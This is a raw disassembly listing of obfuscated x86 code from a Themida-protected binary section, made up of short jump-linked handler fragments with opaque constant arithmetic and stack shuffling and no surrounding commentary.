add ebp, 45A39F01h
mov edx, ebp
mov ebp, [esp]
add esp, 4
and eax, edx
mov edx, [esp]
jmp loc_547AC1
; ---------------------------------------------------------------------------
loc_545052: ; CODE XREF: Themida_:00545F74j
not bp
jmp loc_54EBF0
; ---------------------------------------------------------------------------
loc_54505A: ; CODE XREF: Themida_:0054F5A7j
mov esi, 0E1A4F075h
add esi, ecx
pop ecx
add eax, esi
mov esi, [esp]
add esp, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_549F85
; ---------------------------------------------------------------------------
loc_545083: ; CODE XREF: Themida_:0054F785j
and dl, 0B3h
xor dl, 0EDh
sub dl, 0FFh
neg dl
dec dl
push ebx
mov bh, 0
or bh, 0D9h
sub bh, 0CDh
inc bh
sub bh, 0FFh
xor bh, 0F6h
push 3824h
mov [esp], ecx
mov cl, 0F7h
sub cl, 9Dh
jmp loc_54DA35
; ---------------------------------------------------------------------------
loc_5450B3: ; CODE XREF: Themida_:00548E73j
mov ax, [esp]
push ebx
mov ebx, esp
push edx
push esi
mov esi, 201E4C7Ah
shl esi, 1
push ebp
mov ebp, 3C2D5E1Dh
and esi, ebp
pop ebp
add esi, 500F3B71h
mov edx, esi
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 25D87BE0h
not ebp
neg ebp
not ebp
or ebp, 6D536BB5h
add ebp, 44736CE3h
add edx, ebp
pop ebp
xor edx, 38C0266Ah
add edx, 66301D59h
jmp loc_54FBE6
; ---------------------------------------------------------------------------
loc_545109: ; CODE XREF: Themida_:0054A9CDj
add ebp, edi
jmp loc_546B53
; ---------------------------------------------------------------------------
loc_545110: ; CODE XREF: Themida_:0054C99Fj
sub eax, esi
mov esi, [esp]
add esp, 4
add ebp, eax
pop eax
jmp loc_5460A7
; ---------------------------------------------------------------------------
loc_545123: ; CODE XREF: Themida_:0054C1F7j
add ebp, edx
add ebp, 61941455h
jmp loc_548F4B
; ---------------------------------------------------------------------------
loc_545130: ; CODE XREF: Themida_:00544455j
mov ebp, esp
add ebp, 4
jmp loc_546AEE
; ---------------------------------------------------------------------------
loc_54513D: ; CODE XREF: Themida_:0054A29Bj
mov ecx, 0A232ADAFh
sub ecx, edx
pop edx
xor ecx, eax
pop eax
or [edi+1Ch], ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_54F43D
; ---------------------------------------------------------------------------
loc_545160: ; CODE XREF: Themida_:00549445j
add ebp, edx
push dword ptr [esp]
pop edx
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_54779B
; ---------------------------------------------------------------------------
loc_545185: ; CODE XREF: Themida_:0054D362j
xchg eax, [esp]
jmp loc_549C0A
; ---------------------------------------------------------------------------
loc_54518D: ; CODE XREF: Themida_:00547553j
pop ecx
add edi, edx
pop edx
push 416Fh
mov [esp], edi
mov esi, [esp]
add esp, 4
pop edi
add [edi+24h], esi
push dword ptr [esp]
jmp loc_54CCFB
; ---------------------------------------------------------------------------
loc_5451AB: ; CODE XREF: Themida_:005478C6j
add ebp, 0FFFFFFFFh
jmp loc_5474EF
; ---------------------------------------------------------------------------
mov ecx, [esp]
jmp loc_54C4B1
; ---------------------------------------------------------------------------
loc_5451BE: ; CODE XREF: Themida_:0054FFE3j
add edi, 6B0D3990h
xor edi, 7E53970Ch
jmp loc_54E36A
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
mov ebp, 22B3016Ch
shr ebp, 5
jmp loc_54B12C
; ---------------------------------------------------------------------------
loc_545202: ; CODE XREF: Themida_:0054BF99j
mov [esp], edx
push esp
pop edx
push esi
jmp loc_54E7F2
; ---------------------------------------------------------------------------
loc_54520D: ; CODE XREF: Themida_:0054B90Dj
add ebp, eax
mov eax, [esp]
push edi
mov edi, esp
jmp loc_546D7A
; ---------------------------------------------------------------------------
loc_54521A: ; CODE XREF: Themida_:0054D37Dj
mov esi, 4
add [esp+4], esi
jmp loc_547A62
; ---------------------------------------------------------------------------
loc_545228: ; CODE XREF: Themida_:0054687Ej
mov ch, dl
pop edx
jmp loc_54AEDB
; ---------------------------------------------------------------------------
loc_545230: ; CODE XREF: Themida_:00549B82j
push ebx
jmp loc_54E5EF
; ---------------------------------------------------------------------------
loc_545236: ; CODE XREF: Themida_:005496C0j
mov ecx, [esp]
jmp loc_54B595
; ---------------------------------------------------------------------------
loc_54523E: ; CODE XREF: Themida_:0054A6B0j
pop esp
xor ebp, [esp]
jmp loc_54E286
; ---------------------------------------------------------------------------
loc_545247: ; CODE XREF: Themida_:0054B5C4j
sub esi, 776E42EFh
jmp loc_54C6FF
; ---------------------------------------------------------------------------
loc_545252: ; CODE XREF: Themida_:0054CB4Cj
pop ebp
add ebx, ebp
pop ebp
jmp loc_5476A9
; ---------------------------------------------------------------------------
loc_54525B: ; CODE XREF: Themida_:0054E225j
push ebx
mov ebx, esp
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_547227
; ---------------------------------------------------------------------------
loc_545280: ; CODE XREF: Themida_:00548C32j
push edx
mov edx, 3C366600h
jmp loc_549ECA
; ---------------------------------------------------------------------------
loc_54528B: ; CODE XREF: Themida_:005474C8j
mov bl, al
jmp loc_54D569
; ---------------------------------------------------------------------------
loc_545292: ; CODE XREF: Themida_:00544253j
mov ebx, 3ED83E30h
jmp loc_546F95
; ---------------------------------------------------------------------------
loc_54529C: ; CODE XREF: Themida_:00546D1Dj
pop esp
push cx
mov cl, 6
add bl, cl
pop cx
sub bl, dh
push dx
mov dh, 6
sub bl, dh
pop dx
pop dx
jmp loc_54CEB7
; ---------------------------------------------------------------------------
loc_5452B6: ; CODE XREF: Themida_:0054A405j
add ebp, 4
push esi
mov esi, 4
sub ebp, esi
pop esi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_54E3A0
; ---------------------------------------------------------------------------
loc_5452D3: ; CODE XREF: Themida_:00547F53j
mov [esp], edi
jmp loc_54624F
; ---------------------------------------------------------------------------
loc_5452DB: ; CODE XREF: Themida_:0054EAA7j
pop ecx
add esp, 4
push ebx
push esp
pop ebx
push ecx
mov ecx, 39F53525h
dec ecx
jmp loc_548E8B
; ---------------------------------------------------------------------------
loc_5452EE: ; CODE XREF: Themida_:0054E6D7j
push edx
mov edx, 10D761E2h
not edx
xor edx, 0CC62CF57h
mov edi, edx
pop edx
and edi, 79376BF0h
sub edi, 229A42EFh
jmp loc_54AC2A
; ---------------------------------------------------------------------------
loc_545310: ; CODE XREF: Themida_:00548176j
push edx
push 436437CFh
push dword ptr [esp]
mov edx, [esp]
jmp loc_54E486
; ---------------------------------------------------------------------------
loc_545321: ; CODE XREF: Themida_:0054A3CCj
push ecx
jmp loc_547072
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_544C84
; ---------------------------------------------------------------------------
loc_545331: ; CODE XREF: Themida_:0054E377j
pop ebp
push 34ECh
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
loc_54534D: ; DATA XREF: ___:off_43CCB4o
jmp loc_54FBBD
; ---------------------------------------------------------------------------
loc_545352: ; CODE XREF: Themida_:005494B6j
xor eax, [esp]
pop esp
rol word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545360: ; CODE XREF: Themida_:0054EAF2j
push bx
mov bl, 89h
sub al, 62h
sub al, bl
add al, 62h
mov bx, [esp]
push edi
mov edi, esp
jmp loc_5493DA
; ---------------------------------------------------------------------------
loc_545376: ; CODE XREF: Themida_:0054725Fj
pop dword ptr [esp]
pop esp
mul cx
push small 4BBEh
mov [esp], dx
push ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54538D: ; CODE XREF: Themida_:00544C42j
push ebx
mov ebx, 13CE42A7h
jmp loc_54CD33
; ---------------------------------------------------------------------------
loc_545398: ; CODE XREF: Themida_:0054F724j
pop edi
jmp loc_547264
; ---------------------------------------------------------------------------
loc_54539E: ; CODE XREF: Themida_:0054B41Dj
pop esp
jmp loc_546DCD
; ---------------------------------------------------------------------------
loc_5453A4: ; CODE XREF: Themida_:00547397j
push 28Ch
jmp loc_5467D4
; ---------------------------------------------------------------------------
loc_5453AE: ; CODE XREF: Themida_:0054809Fj
mov esi, 4
jmp loc_547D87
; ---------------------------------------------------------------------------
loc_5453B8: ; CODE XREF: Themida_:00546C18j
neg ecx
not ecx
add ecx, 0F4388039h
add ebx, ecx
pop ecx
push ecx
mov ecx, 4
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], edx
push 272Ch
mov [esp], ebp
push ebx
push 5BDA54B0h
pop ebx
sub ebx, 8CA2BADh
jmp loc_545029
; ---------------------------------------------------------------------------
loc_5453EF: ; CODE XREF: Themida_:0054D0A5j
pop ecx
sub ecx, 3BD30F6Fh
neg ecx
sub ecx, 468CF86h
mov esi, ecx
pop ecx
add ebx, esi
pop esi
jmp loc_5475B0
; ---------------------------------------------------------------------------
loc_545409: ; CODE XREF: Themida_:005499A2j
push ebp
jmp loc_54ABCD
; ---------------------------------------------------------------------------
loc_54540F: ; CODE XREF: Themida_:00548F05j
mov [esp], ecx
push 1082h
mov [esp], esi
jmp loc_54C398
; ---------------------------------------------------------------------------
loc_54541F: ; CODE XREF: Themida_:0054E824j
add edi, 4
push 5916h
mov [esp], eax
mov eax, 4
sub edi, 6CA61F92h
sub edi, eax
jmp loc_5471AE
; ---------------------------------------------------------------------------
loc_54543F: ; CODE XREF: Themida_:0054EB7Ej
mov [esp], edi
push dword ptr [esp+4]
jmp loc_54C4D1
; ---------------------------------------------------------------------------
loc_54544B: ; CODE XREF: Themida_:00549C5Fj
pop esp
add esp, 4
sub [esp], eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545458: ; CODE XREF: Themida_:0054D96Ej
mov bh, 54h
sub al, bh
jmp loc_54A0BD
; ---------------------------------------------------------------------------
loc_545461: ; CODE XREF: Themida_:00547D04j
sub ecx, 61204781h
add eax, ecx
pop ecx
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_54EFF6
; ---------------------------------------------------------------------------
loc_545476: ; CODE XREF: Themida_:0054F318j
sub ecx, esi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dl, 0E8h
xor bl, dl
pop edx
jmp loc_547165
; ---------------------------------------------------------------------------
loc_54549F: ; CODE XREF: Themida_:0054646Fj
mov dl, 0D9h
sub dl, 80h
xor dl, 8Eh
and dl, 0BEh
shr dl, 6
xor dl, 0Bh
jmp loc_54DE81
; ---------------------------------------------------------------------------
loc_5454B5: ; CODE XREF: Themida_:00546B5Ej
movzx ecx, al
push 7B0Ch
jmp loc_54582E
; ---------------------------------------------------------------------------
loc_5454C2: ; CODE XREF: Themida_:0054C736j
add edi, 4
push edx
jmp loc_546B06
; ---------------------------------------------------------------------------
loc_5454CE: ; CODE XREF: Themida_:0054FBF5j
pop eax
add ebx, edx
pop edx
jmp loc_54DE49
; ---------------------------------------------------------------------------
loc_5454D7: ; CODE XREF: Themida_:00546606j
mov ecx, 2
add edi, ecx
jmp loc_5500D3
; ---------------------------------------------------------------------------
loc_5454E3: ; CODE XREF: Themida_:0054C833j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5454E8: ; CODE XREF: Themida_:0054ED0Ej
pop edi
jmp loc_54DB0D
; ---------------------------------------------------------------------------
loc_5454EE: ; CODE XREF: Themida_:00548E86j
pop eax
pop edx
sub al, 0A1h
add al, bh
add al, 0A1h
mov bx, [esp]
add esp, 2
push edx
mov dl, 0C4h
jmp loc_546F00
; ---------------------------------------------------------------------------
loc_545508: ; CODE XREF: Themida_:0054DC9Bj
xchg edx, [esp]
jmp loc_54C78E
; ---------------------------------------------------------------------------
loc_545510: ; CODE XREF: Themida_:00545693j
pop esp
add al, bl
mov ebx, [esp]
add esp, 4
push ecx
sub esp, 4
mov [esp], edx
push ebx
push ecx
mov ch, 1Eh
mov bl, 0B5h
sub bl, ch
pop ecx
mov dh, bl
pop ebx
push ebx
mov bh, dh
jmp loc_546A3C
; ---------------------------------------------------------------------------
loc_545537: ; CODE XREF: Themida_:005493C3j
push ebx
mov ebx, 0B7A5162h
shl ebx, 7
add ebx, 3E444A4Ch
shl ebx, 7
sub ebx, 5D357C58h
sub ebp, ebx
pop ebx
push dword ptr [esp]
pop esi
add esp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
cmp cl, al
pushf
jmp loc_54F73A
; ---------------------------------------------------------------------------
loc_54556B: ; CODE XREF: Themida_:00546575j
push dword ptr [esp]
pop ecx
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54557D: ; CODE XREF: Themida_:00548983j
mov esi, eax
pop eax
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
jmp loc_54B669
; ---------------------------------------------------------------------------
loc_545591: ; CODE XREF: Themida_:00548B08j
pop esp
mov [esp], esi
mov esi, 19AE2CEFh
sub [esp+4], esi
mov esi, [esp]
add esp, 4
jmp loc_5490E1
; ---------------------------------------------------------------------------
loc_5455AC: ; CODE XREF: Themida_:0054BF88j
add ecx, 47691188h
neg ecx
jmp loc_54B774
; ---------------------------------------------------------------------------
loc_5455B9: ; CODE XREF: Themida_:00544E0Dj
add edx, 392E3A00h
shr edx, 2
xor edx, 323D46BFh
mov ebp, edx
jmp loc_54BF6F
; ---------------------------------------------------------------------------
loc_5455CF: ; CODE XREF: Themida_:0054A6BAj
pop ecx
pop eax
xor dh, 0DEh
push eax
push ecx
mov cl, dh
mov al, cl
jmp loc_548E83
; ---------------------------------------------------------------------------
loc_5455DF: ; CODE XREF: Themida_:005468F8j
sub edx, 2
xchg edx, [esp]
jmp loc_548692
; ---------------------------------------------------------------------------
loc_5455ED: ; CODE XREF: Themida_:005484E5j
sub ebx, 4
jmp loc_547E40
; ---------------------------------------------------------------------------
loc_5455F8: ; CODE XREF: Themida_:0054DC75j
add esp, 4
sub ebx, 1D343F46h
sub ebx, eax
add ebx, 1D343F46h
push ecx
mov ecx, 39FB57BDh
jmp loc_54E1A0
; ---------------------------------------------------------------------------
loc_545614: ; CODE XREF: Themida_:00545829j
push 57D0h
mov [esp], eax
sub esp, 4
jmp loc_5462E5
; ---------------------------------------------------------------------------
loc_545624: ; CODE XREF: Themida_:0054A06Cj
mov [esp], ecx
mov cx, 5D8h
dec cx
shr cx, 2
jmp loc_5492DF
; ---------------------------------------------------------------------------
loc_545636: ; CODE XREF: Themida_:0054F93Cj
pop dword ptr [esp]
pop esp
jmp loc_54700A
; ---------------------------------------------------------------------------
loc_54563F: ; CODE XREF: Themida_:005458B6j
push esi
push 26FA16E5h
pop esi
jmp loc_545A27
; ---------------------------------------------------------------------------
loc_54564B: ; CODE XREF: Themida_:00544DC9j
dec dword ptr [esp]
pop eax
sub eax, 1A02D273h
add ebx, eax
pop eax
pop esi
jmp loc_54461D
; ---------------------------------------------------------------------------
loc_54565D: ; CODE XREF: Themida_:0054CF4Ej
xchg edx, [esp]
pop esp
not edx
inc edx
push 7320h
mov [esp], ebp
mov ebp, 4543684Eh
add ebp, 1073CFE6h
or edx, ebp
mov ebp, [esp]
jmp loc_54DC82
; ---------------------------------------------------------------------------
loc_545681: ; CODE XREF: Themida_:0054C42Cj
shl dl, 3
push cx
mov ch, dl
jmp loc_547CE8
; ---------------------------------------------------------------------------
loc_54568D: ; CODE XREF: Themida_:0054BCECj
add esi, 2
xchg esi, [esp]
jmp loc_545510
; ---------------------------------------------------------------------------
loc_545698: ; CODE XREF: Themida_:00549528j
sub esp, 4
mov [esp], ebp
push 2
pop ebp
add ecx, ebp
jmp loc_54C549
; ---------------------------------------------------------------------------
loc_5456AE: ; CODE XREF: Themida_:005477E2j
pop ebx
xor al, ch
mov cx, [esp]
push edi
jmp loc_54C69E
; ---------------------------------------------------------------------------
loc_5456BB: ; CODE XREF: Themida_:0054A0D8j
sub bl, 0FFh
jmp loc_548B84
; ---------------------------------------------------------------------------
loc_5456C3: ; CODE XREF: Themida_:0054B940j
add ebp, 3DB359F3h
sub ebp, edx
sub ebp, 3DB359F3h
pop edx
push ebp
jmp loc_5481EC
; ---------------------------------------------------------------------------
loc_5456D8: ; CODE XREF: Themida_:0054EC8Aj
push esp
mov eax, [esp]
add esp, 4
add eax, 4
push esi
mov esi, 2
jmp loc_548582
; ---------------------------------------------------------------------------
loc_5456F2: ; CODE XREF: Themida_:0054E128j
pop eax
push ebp
jmp loc_549DA5
; ---------------------------------------------------------------------------
loc_5456F9: ; CODE XREF: Themida_:00548763j
xor [esp], edx
xor edx, [esp]
jmp loc_544FFE
; ---------------------------------------------------------------------------
loc_545704: ; CODE XREF: Themida_:0054E2F2j
xor [esp], eax
jmp loc_5493A6
; ---------------------------------------------------------------------------
loc_54570C: ; CODE XREF: Themida_:0054ACFAj
mov [esp], esi
jmp loc_544F46
; ---------------------------------------------------------------------------
loc_545714: ; CODE XREF: Themida_:0054BE14j
not cl
jmp loc_54F2B1
; ---------------------------------------------------------------------------
loc_54571B: ; CODE XREF: Themida_:0054E7D1j
push esi
mov esi, 2
push ebp
jmp loc_54C178
; ---------------------------------------------------------------------------
loc_545727: ; CODE XREF: Themida_:00545F2Aj
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_54EA32
; ---------------------------------------------------------------------------
loc_545743: ; CODE XREF: Themida_:0054DED4j
sub ebp, ecx
jmp loc_54DA76
; ---------------------------------------------------------------------------
loc_54574A: ; CODE XREF: Themida_:0054C58Bj
mov ecx, [esp]
jmp loc_546731
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_54C1DD
; ---------------------------------------------------------------------------
loc_545761: ; CODE XREF: Themida_:00544C4Fj
mov edx, [esp]
jmp loc_544374
; ---------------------------------------------------------------------------
loc_545769: ; CODE XREF: Themida_:0054D282j
pop esi
xchg ebx, [esp]
pop esp
idiv cl
movzx cx, ah
push small 6605h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545788: ; CODE XREF: Themida_:00545B67j
xor ebp, 64FF3323h
mov edi, ebp
pop ebp
add esi, edi
jmp loc_54A87E
; ---------------------------------------------------------------------------
loc_545798: ; CODE XREF: Themida_:0054FD39j
push esp
pop esi
add esi, 4
jmp loc_544838
; ---------------------------------------------------------------------------
loc_5457A5: ; CODE XREF: Themida_:0054F5DFj
and esi, 44D26EFh
push ebp
mov ebp, 25081706h
neg ebp
or ebp, 38B97FAAh
neg ebp
add ebp, 418F4DE3h
add esi, ebp
mov ebp, [esp]
jmp loc_54F71C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
pop esp
mov [esp], ecx
push esp
push dword ptr [esp]
jmp loc_54A83B
; ---------------------------------------------------------------------------
loc_5457F3: ; CODE XREF: Themida_:0054F0E9j
shl ecx, 8
inc ecx
sub ecx, 91F7B5CBh
xor ecx, ebp
pop ebp
and eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_54F31D
; ---------------------------------------------------------------------------
loc_54580B: ; CODE XREF: Themida_:0054906Aj
add esp, 4
pop ecx
push 6B95h
mov [esp], ebp
push 8000h
push dword ptr [esp]
jmp loc_54B9A8
; ---------------------------------------------------------------------------
loc_545827: ; CODE XREF: Themida_:005466AFj
xor eax, ecx
jmp loc_545614
; ---------------------------------------------------------------------------
loc_54582E: ; CODE XREF: Themida_:005454BDj
mov [esp], ecx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545836: ; CODE XREF: Themida_:005497CAj
mov ecx, ebp
jmp loc_54DFEA
; ---------------------------------------------------------------------------
lodsd
add eax, 147926FDh
add eax, 3A462E05h
add eax, ebx
sub eax, 3A462E05h
push esi
mov esi, 1C3018A8h
sub esp, 4
mov [esp], ecx
mov ecx, 40D20DDh
add ecx, 516341AEh
xor ecx, 4FBF3AEAh
xor ecx, 2FE4743Ch
jmp loc_5497BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_545877: ; CODE XREF: sub_545BCC+372Bj
sub bh, 63h
sub al, bh
jmp loc_54B0FB
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_545881: ; CODE XREF: Themida_:0054FA1Fj
mov [edi+20h], eax
pop eax
pop ecx
sub esp, 4
mov [esp], eax
push esi
mov esi, 0
mov eax, esi
pop esi
push ebx
mov ebx, eax
push ecx
mov ecx, 24h
add ecx, edi
mov [ecx], ebx
pop ecx
pop ebx
push dword ptr [esp]
pop eax
jmp loc_54BF2F
; ---------------------------------------------------------------------------
loc_5458B0: ; CODE XREF: Themida_:0054866Dj
add ebx, 4
jmp loc_54563F
; ---------------------------------------------------------------------------
loc_5458BB: ; CODE XREF: Themida_:00549EEBj
mov esi, 3702081Ch
jmp loc_54CCDA
; ---------------------------------------------------------------------------
loc_5458C5: ; CODE XREF: Themida_:0054FD48j
shl edx, 1
jmp loc_545A53
; ---------------------------------------------------------------------------
loc_5458CC: ; CODE XREF: Themida_:0054B7EFj
xor [esp], eax
jmp loc_5488DE
; ---------------------------------------------------------------------------
loc_5458D4: ; CODE XREF: Themida_:0054C988j
xor edx, ebx
pop ebx
jmp loc_54426F
; ---------------------------------------------------------------------------
loc_5458DC: ; CODE XREF: Themida_:0054E679j
mov edx, esp
push ebx
mov ebx, 4
jmp loc_54B0D4
; ---------------------------------------------------------------------------
loc_5458E9: ; CODE XREF: Themida_:0054B127j
sub eax, esi
sub eax, 39B0466Eh
add eax, 1B980434h
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push ecx
mov ecx, esp
push edi
jmp loc_54ABB9
; ---------------------------------------------------------------------------
loc_545907: ; CODE XREF: Themida_:00548B3Aj
mov dl, 0ABh
mov cl, dl
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_548426
; ---------------------------------------------------------------------------
loc_545921: ; CODE XREF: Themida_:0054BD8Aj
xor ecx, ebx
jmp loc_54970D
; ---------------------------------------------------------------------------
loc_545928: ; CODE XREF: Themida_:00546ACFj
sub ebx, eax
jmp loc_546669
; ---------------------------------------------------------------------------
loc_54592F: ; CODE XREF: Themida_:005483EBj
push ebx
jmp loc_5442D0
; ---------------------------------------------------------------------------
loc_545935: ; CODE XREF: Themida_:0054D81Fj
add edi, esi
add edi, 54437A4h
pop esi
jmp loc_54D8DB
; ---------------------------------------------------------------------------
loc_545943: ; CODE XREF: Themida_:0054B631j
push ebp
jmp loc_54DACB
; ---------------------------------------------------------------------------
loc_545949: ; CODE XREF: Themida_:00546D8Dj
mov al, bl
pop ebx
add al, 0Dh
and al, 4Ah
and al, 2Dh
jmp loc_5444C9
; ---------------------------------------------------------------------------
loc_545957: ; CODE XREF: Themida_:00548EC3j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54595C: ; CODE XREF: Themida_:0054DF67j
push ebp
mov ebp, 393E3C00h
mov eax, 0FE23291Bh
add eax, ebp
pop ebp
sub eax, 4BB80678h
shr eax, 6
or eax, 136011C5h
xor eax, 13EEB5FBh
sub esi, 7E585286h
jmp loc_5473E9
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_54D251
; ---------------------------------------------------------------------------
loc_545990: ; CODE XREF: Themida_:005471A3j
push esi
push esp
mov esi, [esp]
push edx
mov edx, esp
jmp loc_549AD5
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
jmp loc_54A146
; ---------------------------------------------------------------------------
loc_5459A9: ; CODE XREF: Themida_:0054B6CBj
mov esi, [esp]
jmp loc_548630
; ---------------------------------------------------------------------------
loc_5459B1: ; CODE XREF: Themida_:00547F26j
mov edx, [esp]
add esp, 4
add edx, 1062156Bh
sub edx, 6C4BC60Ah
push esi
jmp loc_54967D
; ---------------------------------------------------------------------------
loc_5459CC: ; CODE XREF: Themida_:0054BBF1j
shr ebp, 5
and ebp, 5DC909D2h
add ebp, 0C2DDC51Ah
add edx, ebp
jmp loc_54FFB5
; ---------------------------------------------------------------------------
loc_5459E2: ; CODE XREF: Themida_:0054E463j
sub bx, 29B4h
add bx, 0FFD4h
jmp loc_54CFEA
; ---------------------------------------------------------------------------
loc_5459F1: ; CODE XREF: Themida_:005493CDj
pop ebp
add ebx, 4
jmp loc_549A1A
; ---------------------------------------------------------------------------
loc_5459FD: ; CODE XREF: Themida_:0054CE05j
sub ebx, eax
add ebx, 185D0842h
movzx ax, byte ptr [eax]
sub esp, 4
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, 3AC46358h
jmp loc_54B485
; ---------------------------------------------------------------------------
loc_545A27: ; CODE XREF: Themida_:00545646j
xor esi, ebp
xor ebp, esi
jmp loc_54418E
; ---------------------------------------------------------------------------
loc_545A30: ; CODE XREF: Themida_:0054660Dj
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545A35: ; CODE XREF: Themida_:0054469Bj
mov eax, 4
sub ecx, eax
jmp loc_54FB44
; ---------------------------------------------------------------------------
loc_545A41: ; CODE XREF: Themida_:005483A3j
add edx, 4
jmp loc_547558
; ---------------------------------------------------------------------------
loc_545A4C: ; CODE XREF: Themida_:0054733Bj
sub esi, edx
jmp loc_549EB0
; ---------------------------------------------------------------------------
loc_545A53: ; CODE XREF: Themida_:005458C7j
xchg esi, [edi+24h]
push ebp
mov ebp, 7C465412h
or ebp, 716D58BAh
shl ebp, 4
add ebp, 1
neg ebp
add ebp, 0D6F5CBA2h
add esi, ebp
pop ebp
push ebx
mov ebx, 24h
add ebx, 21C2137Ah
add ebx, edi
push edx
mov edx, 21C2137Ah
sub ebx, edx
pop edx
push ecx
mov ecx, 0
add ecx, ebx
jmp loc_54D7E9
; ---------------------------------------------------------------------------
loc_545A97: ; CODE XREF: Themida_:0054E541j
pop esp
mov [esp], dx
push 22E6h
jmp loc_54DA51
; ---------------------------------------------------------------------------
loc_545AA6: ; CODE XREF: Themida_:00545BC2j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push esp
pop ebp
add ebp, 4
push edx
jmp loc_549440
; ---------------------------------------------------------------------------
loc_545ABE: ; CODE XREF: Themida_:00548D3Ej
xor edx, 598F01F4h
jmp loc_54FDA1
; ---------------------------------------------------------------------------
loc_545AC9: ; CODE XREF: Themida_:00548903j
xor ch, 68h
xor al, ch
pop ecx
push 4FDAh
jmp loc_5494DD
; ---------------------------------------------------------------------------
loc_545AD9: ; CODE XREF: Themida_:0054BFE3j
neg esi
not esi
jmp loc_54EEA5
; ---------------------------------------------------------------------------
loc_545AE2: ; CODE XREF: Themida_:00548886j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_54A948
; ---------------------------------------------------------------------------
loc_545AF3: ; CODE XREF: Themida_:0054FD55j
mov ebx, 0
add ebx, eax
mov [ebx], dl
push dword ptr [esp]
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
jmp loc_54B893
; ---------------------------------------------------------------------------
loc_545B0B: ; CODE XREF: Themida_:0054E6BEj
add ebx, ecx
jmp loc_54A7DB
; ---------------------------------------------------------------------------
loc_545B12: ; CODE XREF: Themida_:0054AC32j
pop edi
xor edx, eax
pop eax
loc_545B16: ; CODE XREF: Themida_:00547F0Bj
; Themida_:005484A6j
push edx
push ebx
jmp loc_54EFD0
; ---------------------------------------------------------------------------
loc_545B1D: ; CODE XREF: Themida_:00546CF4j
sub ebp, 4
xchg ebp, [esp]
jmp loc_54888B
; ---------------------------------------------------------------------------
loc_545B28: ; CODE XREF: Themida_:005441F7j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545B2D: ; CODE XREF: Themida_:005479DCj
xor ebx, edi
pop edi
push esi
push 6C3DB458h
pop esi
sub ebx, esi
pop esi
jmp loc_545E9B
; ---------------------------------------------------------------------------
loc_545B3F: ; CODE XREF: Themida_:0054D48Fj
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_54FC82
; ---------------------------------------------------------------------------
loc_545B49: ; CODE XREF: Themida_:0054F68Bj
xchg ebx, [esp]
pop esp
push 275Eh
mov [esp], esi
mov esi, esp
push edi
push ebp
mov ebp, 64FF3326h
push esi
mov esi, 1
add ebp, esi
pop esi
jmp loc_545788
; ---------------------------------------------------------------------------
loc_545B6C: ; CODE XREF: Themida_:00548BFFj
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push esp
jmp loc_54D34D
; ---------------------------------------------------------------------------
loc_545B87: ; CODE XREF: Themida_:00545BE7j
neg edi
sub edi, 779F560Ah
push edi
sub dword ptr [esp], 150C6216h
pop ecx
add ecx, 150C6216h
jmp loc_54FCBC
; ---------------------------------------------------------------------------
loc_545BA3: ; CODE XREF: Themida_:0054D1A7j
xor edx, ebp
jmp loc_54D7BC
; ---------------------------------------------------------------------------
loc_545BAA: ; CODE XREF: Themida_:00546D83j
xchg edi, [esp]
mov esp, [esp]
push ebp
push dword ptr [esp+4]
jmp loc_54B873
; ---------------------------------------------------------------------------
